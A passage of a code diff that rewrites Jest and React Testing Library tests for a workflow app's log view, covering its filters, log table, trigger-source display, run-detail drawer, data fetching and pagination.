-
-      it('should render keyword search input', () => {
-        // Arrange & Act
-        render(<Filter {...defaultFilterProps} />)
-
-        // Assert
-        const searchInput = screen.getByPlaceholderText('common.operation.search')
-        expect(searchInput).toBeInTheDocument()
-      })
-
-      it('should display different status values', () => {
-        // Arrange
-        const successStatusProps = {
-          queryParams: { status: 'succeeded', period: '2' } as QueryParam,
-          setQueryParams: mockSetQueryParams,
-        }
-
-        // Act
-        render(<Filter {...successStatusProps} />)
-
-        // Assert
-        expect(screen.getByText('Success')).toBeInTheDocument()
-      })
-    })
-
-    describe('Keyword Search', () => {
-      it('should call setQueryParams when keyword changes', async () => {
-        // Arrange
-        const user = userEvent.setup()
-        render(<Filter {...defaultFilterProps} />)
-
-        // Act
-        const searchInput = screen.getByPlaceholderText('common.operation.search')
-        await user.type(searchInput, 'test')
-
-        // Assert
-        expect(mockSetQueryParams).toHaveBeenCalledWith(
-          expect.objectContaining({ keyword: expect.any(String) }),
-        )
-      })
-
-      it('should render input with initial keyword value', () => {
-        // Arrange
-        const propsWithKeyword = {
-          queryParams: { status: 'all', period: '2', keyword: 'test' } as QueryParam,
-          setQueryParams: mockSetQueryParams,
-        }
-
-        // Act
-        render(<Filter {...propsWithKeyword} />)
-
-        // Assert
-        const searchInput = screen.getByPlaceholderText('common.operation.search')
-        expect(searchInput).toHaveValue('test')
-      })
-    })
-
-    describe('TIME_PERIOD_MAPPING Export', () => {
-      it('should export TIME_PERIOD_MAPPING with correct structure', () => {
-        // Assert
-        expect(TIME_PERIOD_MAPPING).toBeDefined()
-        expect(TIME_PERIOD_MAPPING['1']).toEqual({ value: 0, name: 'today' })
-        expect(TIME_PERIOD_MAPPING['9']).toEqual({ value: -1, name: 'allTime' })
-      })
-
-      it('should have all required time period options', () => {
-        // Assert - verify all periods are defined
-        expect(Object.keys(TIME_PERIOD_MAPPING)).toHaveLength(9)
-        expect(TIME_PERIOD_MAPPING['2']).toHaveProperty('name', 'last7days')
-        expect(TIME_PERIOD_MAPPING['3']).toHaveProperty('name', 'last4weeks')
-        expect(TIME_PERIOD_MAPPING['4']).toHaveProperty('name', 'last3months')
-        expect(TIME_PERIOD_MAPPING['5']).toHaveProperty('name', 'last12months')
-        expect(TIME_PERIOD_MAPPING['6']).toHaveProperty('name', 'monthToDate')
-        expect(TIME_PERIOD_MAPPING['7']).toHaveProperty('name', 'quarterToDate')
-        expect(TIME_PERIOD_MAPPING['8']).toHaveProperty('name', 'yearToDate')
-      })
-
-      it('should have correct value for allTime period', () => {
-        // Assert - allTime should have -1 value (special case)
-        expect(TIME_PERIOD_MAPPING['9'].value).toBe(-1)
-      })
-    })
-  })
-
-  // ============================================================================
-  // Tests for WorkflowAppLogList Component
-  // ============================================================================
-
-  describe('WorkflowAppLogList Component', () => {
-    const mockOnRefresh = jest.fn()
-
-    beforeEach(() => {
-      mockOnRefresh.mockClear()
-    })
-
-    it('should render loading when logs or appDetail is undefined', () => {
-      // Arrange & Act
-      render(<WorkflowAppLogList logs={undefined} appDetail={undefined} onRefresh={mockOnRefresh} />)
-
-      // Assert
-      expect(screen.getByTestId('loading')).toBeInTheDocument()
-    })
-
-    it('should render table with correct headers for workflow app', () => {
-      // Arrange
-      const mockLogs = createMockLogsResponse([createMockWorkflowLog()], 1)
-      const workflowApp = createMockApp({ mode: 'workflow' as AppModeEnum })
-
-      // Act
-      render(<WorkflowAppLogList logs={mockLogs} appDetail={workflowApp} onRefresh={mockOnRefresh} />)
-
-      // Assert
-      expect(screen.getByText('appLog.table.header.startTime')).toBeInTheDocument()
-      expect(screen.getByText('appLog.table.header.status')).toBeInTheDocument()
-      expect(screen.getByText('appLog.table.header.runtime')).toBeInTheDocument()
-      expect(screen.getByText('appLog.table.header.tokens')).toBeInTheDocument()
-      expect(screen.getByText('appLog.table.header.user')).toBeInTheDocument()
-      expect(screen.getByText('appLog.table.header.triggered_from')).toBeInTheDocument()
-    })
-
-    it('should not show triggered_from column for non-workflow apps', () => {
-      // Arrange
-      const mockLogs = createMockLogsResponse([createMockWorkflowLog()], 1)
-      const chatApp = createMockApp({ mode: 'advanced-chat' as AppModeEnum })
-
-      // Act
-      render(<WorkflowAppLogList logs={mockLogs} appDetail={chatApp} onRefresh={mockOnRefresh} />)
-
-      // Assert
-      expect(screen.queryByText('appLog.table.header.triggered_from')).not.toBeInTheDocument()
-    })
-
-    it('should render log rows with correct data', () => {
-      // Arrange
-      const mockLog = createMockWorkflowLog({
-        id: 'test-log-1',
-        workflow_run: createMockWorkflowRun({
-          status: 'succeeded',
-          elapsed_time: 1.5,
-          total_tokens: 150,
-        }),
-        created_by_account: { id: '1', name: 'John Doe', email: 'john@example.com' },
-      })
-      const mockLogs = createMockLogsResponse([mockLog], 1)
-
-      // Act
-      render(<WorkflowAppLogList logs={mockLogs} appDetail={createMockApp()} onRefresh={mockOnRefresh} />)
-
-      // Assert
-      expect(screen.getByText('Success')).toBeInTheDocument()
-      expect(screen.getByText('1.500s')).toBeInTheDocument()
-      expect(screen.getByText('150')).toBeInTheDocument()
-      expect(screen.getByText('John Doe')).toBeInTheDocument()
-    })
-
-    describe('Status Display', () => {
-      it.each([
-        ['succeeded', 'Success'],
-        ['failed', 'Failure'],
-        ['stopped', 'Stop'],
-        ['running', 'Running'],
-        ['partial-succeeded', 'Partial Success'],
-      ])('should display correct status for %s', (status, expectedText) => {
-        // Arrange
-        const mockLog = createMockWorkflowLog({
-          workflow_run: createMockWorkflowRun({ status: status as WorkflowRunDetail['status'] }),
-        })
-        const mockLogs = createMockLogsResponse([mockLog], 1)
-
-        // Act
-        render(<WorkflowAppLogList logs={mockLogs} appDetail={createMockApp()} onRefresh={mockOnRefresh} />)
-
-        // Assert
-        expect(screen.getByText(expectedText)).toBeInTheDocument()
-      })
-    })
-
-    describe('Sorting', () => {
-      it('should toggle sort order when clicking sort header', async () => {
-        // Arrange
-        const user = userEvent.setup()
-        const logs = [
-          createMockWorkflowLog({ id: 'log-1', created_at: 1000 }),
-          createMockWorkflowLog({ id: 'log-2', created_at: 2000 }),
-        ]
-        const mockLogs = createMockLogsResponse(logs, 2)
-
-        // Act
-        render(<WorkflowAppLogList logs={mockLogs} appDetail={createMockApp()} onRefresh={mockOnRefresh} />)
-
-        // Find and click the sort header
-        const sortHeader = screen.getByText('appLog.table.header.startTime')
-        await user.click(sortHeader)
-
-        // Assert - sort icon should change (we can verify the click handler was called)
-        // The component should handle sorting internally
-        expect(sortHeader).toBeInTheDocument()
-      })
-    })
-
-    describe('Row Click and Drawer', () => {
-      beforeEach(() => {
-        // Set app detail for DetailPanel's useStore
-        mockAppDetail = createMockApp({ id: 'test-app-id' })
-      })
-
-      it('should open drawer with detail panel when clicking a log row', async () => {
-        // Arrange
-        const user = userEvent.setup()
-        const mockLog = createMockWorkflowLog({
-          id: 'test-log-1',
-          workflow_run: createMockWorkflowRun({ id: 'run-123', triggered_from: WorkflowRunTriggeredFrom.APP_RUN }),
-        })
-        const mockLogs = createMockLogsResponse([mockLog], 1)
-
-        // Act
-        render(<WorkflowAppLogList logs={mockLogs} appDetail={createMockApp()} onRefresh={mockOnRefresh} />)
-
-        // Click on a table row
-        const rows = screen.getAllByRole('row')
-        // First row is header, second is data row
-        await user.click(rows[1])
-
-        // Assert - drawer opens and DetailPanel renders with real component
-        await waitFor(() => {
-          expect(screen.getByTestId('drawer')).toBeInTheDocument()
-          // Real DetailPanel renders workflow title
-          expect(screen.getByText('appLog.runDetail.workflowTitle')).toBeInTheDocument()
-          // Real DetailPanel renders Run component with correct URL
-          expect(screen.getByTestId('run-detail-url')).toHaveTextContent('run-123')
-        })
-      })
-
-      it('should show replay button for APP_RUN triggered logs', async () => {
-        // Arrange
-        const user = userEvent.setup()
-        const mockLog = createMockWorkflowLog({
-          workflow_run: createMockWorkflowRun({ id: 'run-abc', triggered_from: WorkflowRunTriggeredFrom.APP_RUN }),
-        })
-        const mockLogs = createMockLogsResponse([mockLog], 1)
-
-        // Act
-        render(<WorkflowAppLogList logs={mockLogs} appDetail={createMockApp()} onRefresh={mockOnRefresh} />)
-        const rows = screen.getAllByRole('row')
-        await user.click(rows[1])
-
-        // Assert - replay button should be visible for APP_RUN
-        await waitFor(() => {
-          expect(screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })).toBeInTheDocument()
-        })
-      })
-
-      it('should not show replay button for WEBHOOK triggered logs', async () => {
-        // Arrange
-        const user = userEvent.setup()
-        const mockLog = createMockWorkflowLog({
-          workflow_run: createMockWorkflowRun({ id: 'run-xyz', triggered_from: WorkflowRunTriggeredFrom.WEBHOOK }),
-        })
-        const mockLogs = createMockLogsResponse([mockLog], 1)
-
-        // Act
-        render(<WorkflowAppLogList logs={mockLogs} appDetail={createMockApp()} onRefresh={mockOnRefresh} />)
-        const rows = screen.getAllByRole('row')
-        await user.click(rows[1])
-
-        // Assert - replay button should NOT be visible for WEBHOOK
-        await waitFor(() => {
-          expect(screen.getByTestId('drawer')).toBeInTheDocument()
-          expect(screen.queryByRole('button', { name: 'appLog.runDetail.testWithParams' })).not.toBeInTheDocument()
-        })
-      })
-
-      it('should close drawer and call refresh when drawer closes', async () => {
-        // Arrange
-        const user = userEvent.setup()
-        const mockLog = createMockWorkflowLog()
-        const mockLogs = createMockLogsResponse([mockLog], 1)
-
-        // Act
-        render(<WorkflowAppLogList logs={mockLogs} appDetail={createMockApp()} onRefresh={mockOnRefresh} />)
-
-        // Open drawer
-        const rows = screen.getAllByRole('row')
-        await user.click(rows[1])
-
-        // Wait for drawer to open
-        await waitFor(() => {
-          expect(screen.getByTestId('drawer')).toBeInTheDocument()
-        })
-
-        // Close drawer
-        await user.click(screen.getByTestId('drawer-close'))
-
-        // Assert
-        await waitFor(() => {
-          expect(screen.queryByTestId('drawer')).not.toBeInTheDocument()
-          expect(mockOnRefresh).toHaveBeenCalled()
-        })
-      })
-    })
-
-    describe('User Display', () => {
-      it('should display end user session ID when available', () => {
-        // Arrange
-        const mockLog = createMockWorkflowLog({
-          created_by_end_user: { id: 'end-user-1', session_id: 'session-abc', type: 'browser', is_anonymous: false },
-          created_by_account: undefined,
-        })
-        const mockLogs = createMockLogsResponse([mockLog], 1)
-
-        // Act
-        render(<WorkflowAppLogList logs={mockLogs} appDetail={createMockApp()} onRefresh={mockOnRefresh} />)
-
-        // Assert
-        expect(screen.getByText('session-abc')).toBeInTheDocument()
-      })
-
-      it('should display N/A when no user info available', () => {
-        // Arrange
-        const mockLog = createMockWorkflowLog({
-          created_by_end_user: undefined,
-          created_by_account: undefined,
-        })
-        const mockLogs = createMockLogsResponse([mockLog], 1)
-
-        // Act
-        render(<WorkflowAppLogList logs={mockLogs} appDetail={createMockApp()} onRefresh={mockOnRefresh} />)
-
-        // Assert
-        expect(screen.getByText('N/A')).toBeInTheDocument()
-      })
-    })
-
-    describe('Unread Indicator', () => {
-      it('should show unread indicator when read_at is not set', () => {
-        // Arrange
-        const mockLog = createMockWorkflowLog({ read_at: undefined })
-        const mockLogs = createMockLogsResponse([mockLog], 1)
-
-        // Act
-        const { container } = render(
-          <WorkflowAppLogList logs={mockLogs} appDetail={createMockApp()} onRefresh={mockOnRefresh} />,
-        )
-
-        // Assert - look for the unread indicator dot
-        const unreadDot = container.querySelector('.bg-util-colors-blue-blue-500')
-        expect(unreadDot).toBeInTheDocument()
-      })
-    })
-  })
-
-  // ============================================================================
-  // Tests for TriggerByDisplay Component
-  // ============================================================================
-
-  describe('TriggerByDisplay Component', () => {
-    it.each([
-      [WorkflowRunTriggeredFrom.DEBUGGING, 'appLog.triggerBy.debugging', 'icon-code'],
-      [WorkflowRunTriggeredFrom.APP_RUN, 'appLog.triggerBy.appRun', 'icon-window'],
-      [WorkflowRunTriggeredFrom.WEBHOOK, 'appLog.triggerBy.webhook', 'icon-webhook'],
-      [WorkflowRunTriggeredFrom.SCHEDULE, 'appLog.triggerBy.schedule', 'icon-schedule'],
-      [WorkflowRunTriggeredFrom.RAG_PIPELINE_RUN, 'appLog.triggerBy.ragPipelineRun', 'icon-knowledge'],
-      [WorkflowRunTriggeredFrom.RAG_PIPELINE_DEBUGGING, 'appLog.triggerBy.ragPipelineDebugging', 'icon-knowledge'],
-    ])('should render correct display for %s trigger', (triggeredFrom, expectedText, expectedIcon) => {
-      // Act
-      render(<TriggerByDisplay triggeredFrom={triggeredFrom} />)
-
-      // Assert
-      expect(screen.getByText(expectedText)).toBeInTheDocument()
-      expect(screen.getByTestId(expectedIcon)).toBeInTheDocument()
-    })
-
-    it('should render plugin trigger with custom event name from metadata', () => {
-      // Arrange
-      const metadata: TriggerMetadata = {
-        event_name: 'Custom Plugin Event',
-        icon: 'plugin-icon.png',
-      }
-
-      // Act
-      render(
-        <TriggerByDisplay
-          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
-          triggerMetadata={metadata}
-        />,
-      )
-
-      // Assert
-      expect(screen.getByText('Custom Plugin Event')).toBeInTheDocument()
-    })
-
-    it('should not show text when showText is false', () => {
-      // Act
-      render(
-        <TriggerByDisplay
-          triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN}
-          showText={false}
-        />,
-      )
-
-      // Assert
-      expect(screen.queryByText('appLog.triggerBy.appRun')).not.toBeInTheDocument()
-      expect(screen.getByTestId('icon-window')).toBeInTheDocument()
-    })
-
-    it('should apply custom className', () => {
-      // Act
-      const { container } = render(
-        <TriggerByDisplay
-          triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN}
-          className="custom-class"
-        />,
-      )
-
-      // Assert
-      const wrapper = container.firstChild as HTMLElement
-      expect(wrapper).toHaveClass('custom-class')
-    })
-
-    it('should render plugin with BlockIcon when metadata has icon', () => {
-      // Arrange
-      const metadata: TriggerMetadata = {
-        icon: 'custom-plugin-icon.png',
-      }
-
-      // Act
-      render(
-        <TriggerByDisplay
-          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
-          triggerMetadata={metadata}
-        />,
-      )
-
-      // Assert
-      const blockIcon = screen.getByTestId('block-icon')
-      expect(blockIcon).toHaveAttribute('data-tool-icon', 'custom-plugin-icon.png')
-    })
-
-    it('should fall back to default BlockIcon for plugin without metadata', () => {
-      // Act
-      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN} />)
-
-      // Assert
-      expect(screen.getByTestId('block-icon')).toBeInTheDocument()
-    })
-  })
-
-  // ============================================================================
-  // Tests for DetailPanel Component (Real Component Testing)
-  // ============================================================================
-
-  describe('DetailPanel Component', () => {
-    const mockOnClose = jest.fn()
-
-    beforeEach(() => {
-      mockOnClose.mockClear()
-      mockRouterPush.mockClear()
-      // Set default app detail for store
-      mockAppDetail = createMockApp({ id: 'test-app-123', name: 'Test App' })
-    })
-
-    describe('Rendering', () => {
-      it('should render title correctly', () => {
-        // Act
-        render(<DetailPanel runID="run-123" onClose={mockOnClose} />)
-
-        // Assert
-        expect(screen.getByText('appLog.runDetail.workflowTitle')).toBeInTheDocument()
-      })
-
-      it('should render close button', () => {
-        // Act
-        render(<DetailPanel runID="run-123" onClose={mockOnClose} />)
-
-        // Assert - close icon should be present
-        const closeIcon = document.querySelector('.cursor-pointer')
-        expect(closeIcon).toBeInTheDocument()
-      })
-
-      it('should render WorkflowContextProvider with Run component', () => {
-        // Act
-        render(<DetailPanel runID="run-123" onClose={mockOnClose} />)
-
-        // Assert
-        expect(screen.getByTestId('workflow-context-provider')).toBeInTheDocument()
-        expect(screen.getByTestId('workflow-run')).toBeInTheDocument()
-      })
-
-      it('should pass correct URLs to Run component', () => {
-        // Arrange
-        mockAppDetail = createMockApp({ id: 'app-456' })
-
-        // Act
-        render(<DetailPanel runID="run-789" onClose={mockOnClose} />)
-
-        // Assert
-        expect(screen.getByTestId('run-detail-url')).toHaveTextContent('/apps/app-456/workflow-runs/run-789')
-        expect(screen.getByTestId('tracing-list-url')).toHaveTextContent('/apps/app-456/workflow-runs/run-789/node-executions')
-      })
-
-      it('should pass empty URLs when runID is empty', () => {
-        // Act
-        render(<DetailPanel runID="" onClose={mockOnClose} />)
-
-        // Assert
-        expect(screen.getByTestId('run-detail-url')).toHaveTextContent('')
-        expect(screen.getByTestId('tracing-list-url')).toHaveTextContent('')
-      })
-    })
-
-    describe('Close Button Interaction', () => {
-      it('should call onClose when close icon is clicked', async () => {
-        // Arrange
-        const user = userEvent.setup()
-        render(<DetailPanel runID="run-123" onClose={mockOnClose} />)
-
-        // Act - click on the close icon
-        const closeIcon = document.querySelector('.cursor-pointer') as HTMLElement
-        await user.click(closeIcon)
-
-        // Assert
-        expect(mockOnClose).toHaveBeenCalledTimes(1)
-      })
-    })
-
-    describe('Replay Button (canReplay=true)', () => {
-      it('should render replay button when canReplay is true', () => {
-        // Act
-        render(<DetailPanel runID="run-123" onClose={mockOnClose} canReplay={true} />)
-
-        // Assert
-        const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
-        expect(replayButton).toBeInTheDocument()
-      })
-
-      it('should show tooltip with correct text', () => {
-        // Act
-        render(<DetailPanel runID="run-123" onClose={mockOnClose} canReplay={true} />)
-
-        // Assert
-        const tooltip = screen.getByTestId('tooltip')
-        expect(tooltip).toHaveAttribute('title', 'appLog.runDetail.testWithParams')
-      })
-
-      it('should navigate to workflow page with replayRunId when replay is clicked', async () => {
-        // Arrange
-        const user = userEvent.setup()
-        mockAppDetail = createMockApp({ id: 'app-for-replay' })
-        render(<DetailPanel runID="run-to-replay" onClose={mockOnClose} canReplay={true} />)
-
-        // Act
-        const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
-        await user.click(replayButton)
-
-        // Assert
-        expect(mockRouterPush).toHaveBeenCalledWith('/app/app-for-replay/workflow?replayRunId=run-to-replay')
-      })
-
-      it('should not navigate when appDetail.id is undefined', async () => {
-        // Arrange
-        const user = userEvent.setup()
-        mockAppDetail = null
-        render(<DetailPanel runID="run-123" onClose={mockOnClose} canReplay={true} />)
-
-        // Act
-        const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
-        await user.click(replayButton)
-
-        // Assert
-        expect(mockRouterPush).not.toHaveBeenCalled()
-      })
-    })
-
-    describe('Replay Button (canReplay=false)', () => {
-      it('should not render replay button when canReplay is false', () => {
-        // Act
-        render(<DetailPanel runID="run-123" onClose={mockOnClose} canReplay={false} />)
-
-        // Assert
-        expect(screen.queryByRole('button', { name: 'appLog.runDetail.testWithParams' })).not.toBeInTheDocument()
-      })
-
-      it('should not render replay button when canReplay is not provided (defaults to false)', () => {
-        // Act
-        render(<DetailPanel runID="run-123" onClose={mockOnClose} />)
-
-        // Assert
-        expect(screen.queryByRole('button', { name: 'appLog.runDetail.testWithParams' })).not.toBeInTheDocument()
-      })
-    })
-  })
-
-  // ============================================================================
-  // Edge Cases and Error Handling
-  // ============================================================================
-
-  describe('Edge Cases', () => {
-    it('should handle app with minimal required fields', () => {
-      // Arrange
-      const minimalApp = createMockApp({ id: 'minimal-id', name: 'Minimal App' })
+  // --------------------------------------------------------------------------
+  // Rendering Tests (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
       mockedUseSWR.mockReturnValue({
         data: createMockLogsResponse([], 0),
         mutate: jest.fn(),
@@ -1205,63 +220,373 @@ describe('Workflow Log Module Integration Tests', () => {
         error: undefined,
       })
 
-      // Act & Assert
-      expect(() => render(<Logs appDetail={minimalApp} />)).not.toThrow()
-    })
-
-    it('should handle logs with zero elapsed time', () => {
-      // Arrange
-      const mockLog = createMockWorkflowLog({
-        workflow_run: createMockWorkflowRun({ elapsed_time: 0 }),
-      })
-      const mockLogs = createMockLogsResponse([mockLog], 1)
-
-      // Act
-      render(<WorkflowAppLogList logs={mockLogs} appDetail={createMockApp()} onRefresh={jest.fn()} />)
-
-      // Assert
-      expect(screen.getByText('0.000s')).toBeInTheDocument()
-    })
-
-    it('should handle large number of logs', () => {
-      // Arrange
-      const largeLogs = Array.from({ length: 100 }, (_, i) =>
-        createMockWorkflowLog({ id: `log-${i}`, created_at: Date.now() - i * 1000 }),
-      )
-      mockedUseSWR.mockReturnValue({
-        data: createMockLogsResponse(largeLogs, 1000),
-        mutate: jest.fn(),
-        isValidating: false,
-        isLoading: false,
-        error: undefined,
-      })
-
-      // Act
       render(<Logs {...defaultProps} />)
 
-      // Assert
-      expect(screen.getByRole('table')).toBeInTheDocument()
-      expect(screen.getByTestId('pagination')).toBeInTheDocument()
-      expect(screen.getByTestId('total-items')).toHaveTextContent('1000')
+      expect(screen.getByText('appLog.workflowTitle')).toBeInTheDocument()
     })
 
-    it('should handle advanced-chat mode correctly', () => {
-      // Arrange
-      const advancedChatApp = createMockApp({ mode: 'advanced-chat' as AppModeEnum })
-      const mockLogs = createMockLogsResponse([createMockWorkflowLog()], 1)
+    it('should render title and subtitle', () => {
       mockedUseSWR.mockReturnValue({
-        data: mockLogs,
+        data: createMockLogsResponse([], 0),
         mutate: jest.fn(),
         isValidating: false,
         isLoading: false,
         error: undefined,
       })
 
-      // Act
-      render(<Logs appDetail={advancedChatApp} />)
+      render(<Logs {...defaultProps} />)
 
-      // Assert - should not show triggered_from column
+      expect(screen.getByText('appLog.workflowTitle')).toBeInTheDocument()
+      expect(screen.getByText('appLog.workflowSubtitle')).toBeInTheDocument()
+    })
+
+    it('should render Filter component', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      expect(screen.getByPlaceholderText('common.operation.search')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Loading State Tests
+  // --------------------------------------------------------------------------
+  describe('Loading State', () => {
+    it('should show loading spinner when data is undefined', () => {
+      mockedUseSWR.mockReturnValue({
+        data: undefined,
+        mutate: jest.fn(),
+        isValidating: true,
+        isLoading: true,
+        error: undefined,
+      })
+
+      const { container } = render(<Logs {...defaultProps} />)
+
+      expect(container.querySelector('.spin-animation')).toBeInTheDocument()
+    })
+
+    it('should not show loading spinner when data is available', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([createMockWorkflowLog()], 1),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      const { container } = render(<Logs {...defaultProps} />)
+
+      expect(container.querySelector('.spin-animation')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Empty State Tests
+  // --------------------------------------------------------------------------
+  describe('Empty State', () => {
+    it('should render empty element when total is 0', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      expect(screen.getByText('appLog.table.empty.element.title')).toBeInTheDocument()
+      expect(screen.queryByRole('table')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Data Fetching Tests
+  // --------------------------------------------------------------------------
+  describe('Data Fetching', () => {
+    it('should call useSWR with correct URL and default params', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      const keyArg = mockedUseSWR.mock.calls.at(-1)?.[0] as { url: string; params: Record<string, unknown> }
+      expect(keyArg).toMatchObject({
+        url: `/apps/${defaultProps.appDetail.id}/workflow-app-logs`,
+        params: expect.objectContaining({
+          page: 1,
+          detail: true,
+          limit: APP_PAGE_LIMIT,
+        }),
+      })
+    })
+
+    it('should include date filters for non-allTime periods', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      const keyArg = mockedUseSWR.mock.calls.at(-1)?.[0] as { params?: Record<string, unknown> }
+      expect(keyArg?.params).toHaveProperty('created_at__after')
+      expect(keyArg?.params).toHaveProperty('created_at__before')
+    })
+
+    it('should not include status param when status is all', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      const keyArg = mockedUseSWR.mock.calls.at(-1)?.[0] as { params?: Record<string, unknown> }
+      expect(keyArg?.params).not.toHaveProperty('status')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Filter Integration Tests
+  // --------------------------------------------------------------------------
+  describe('Filter Integration', () => {
+    it('should update query when selecting status filter', async () => {
+      const user = userEvent.setup()
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      // Click status filter
+      await user.click(screen.getByText('All'))
+      await user.click(await screen.findByText('Success'))
+
+      // Check that useSWR was called with updated params
+      await waitFor(() => {
+        const lastCall = mockedUseSWR.mock.calls.at(-1)?.[0] as { params?: Record<string, unknown> }
+        expect(lastCall?.params).toMatchObject({
+          status: 'succeeded',
+        })
+      })
+    })
+
+    it('should update query when selecting period filter', async () => {
+      const user = userEvent.setup()
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      // Click period filter
+      await user.click(screen.getByText('appLog.filter.period.last7days'))
+      await user.click(await screen.findByText('appLog.filter.period.allTime'))
+
+      // When period is allTime (9), date filters should be removed
+      await waitFor(() => {
+        const lastCall = mockedUseSWR.mock.calls.at(-1)?.[0] as { params?: Record<string, unknown> }
+        expect(lastCall?.params).not.toHaveProperty('created_at__after')
+        expect(lastCall?.params).not.toHaveProperty('created_at__before')
+      })
+    })
+
+    it('should update query when typing keyword', async () => {
+      const user = userEvent.setup()
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      const searchInput = screen.getByPlaceholderText('common.operation.search')
+      await user.type(searchInput, 'test-keyword')
+
+      await waitFor(() => {
+        const lastCall = mockedUseSWR.mock.calls.at(-1)?.[0] as { params?: Record<string, unknown> }
+        expect(lastCall?.params).toMatchObject({
+          keyword: 'test-keyword',
+        })
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Pagination Tests
+  // --------------------------------------------------------------------------
+  describe('Pagination', () => {
+    it('should not render pagination when total is less than limit', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([createMockWorkflowLog()], 1),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      // Pagination component should not be rendered
+      expect(screen.queryByRole('navigation')).not.toBeInTheDocument()
+    })
+
+    it('should render pagination when total exceeds limit', () => {
+      const logs = Array.from({ length: APP_PAGE_LIMIT }, (_, i) =>
+        createMockWorkflowLog({ id: `log-${i}` }),
+      )
+
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse(logs, APP_PAGE_LIMIT + 10),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      // Should show pagination - checking for any pagination-related element
+      // The Pagination component renders page controls
+      expect(screen.getByRole('table')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // List Rendering Tests
+  // --------------------------------------------------------------------------
+  describe('List Rendering', () => {
+    it('should render List component when data is available', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([createMockWorkflowLog()], 1),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      expect(screen.getByRole('table')).toBeInTheDocument()
+    })
+
+    it('should display log data in table', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([
+          createMockWorkflowLog({
+            workflow_run: createMockWorkflowRun({
+              status: 'succeeded',
+              total_tokens: 500,
+            }),
+          }),
+        ], 1),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      render(<Logs {...defaultProps} />)
+
+      expect(screen.getByText('Success')).toBeInTheDocument()
+      expect(screen.getByText('500')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // TIME_PERIOD_MAPPING Export Tests
+  // --------------------------------------------------------------------------
+  describe('TIME_PERIOD_MAPPING', () => {
+    it('should export TIME_PERIOD_MAPPING with correct values', () => {
+      expect(TIME_PERIOD_MAPPING['1']).toEqual({ value: 0, name: 'today' })
+      expect(TIME_PERIOD_MAPPING['2']).toEqual({ value: 7, name: 'last7days' })
+      expect(TIME_PERIOD_MAPPING['9']).toEqual({ value: -1, name: 'allTime' })
+      expect(Object.keys(TIME_PERIOD_MAPPING)).toHaveLength(9)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle different app modes', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([createMockWorkflowLog()], 1),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
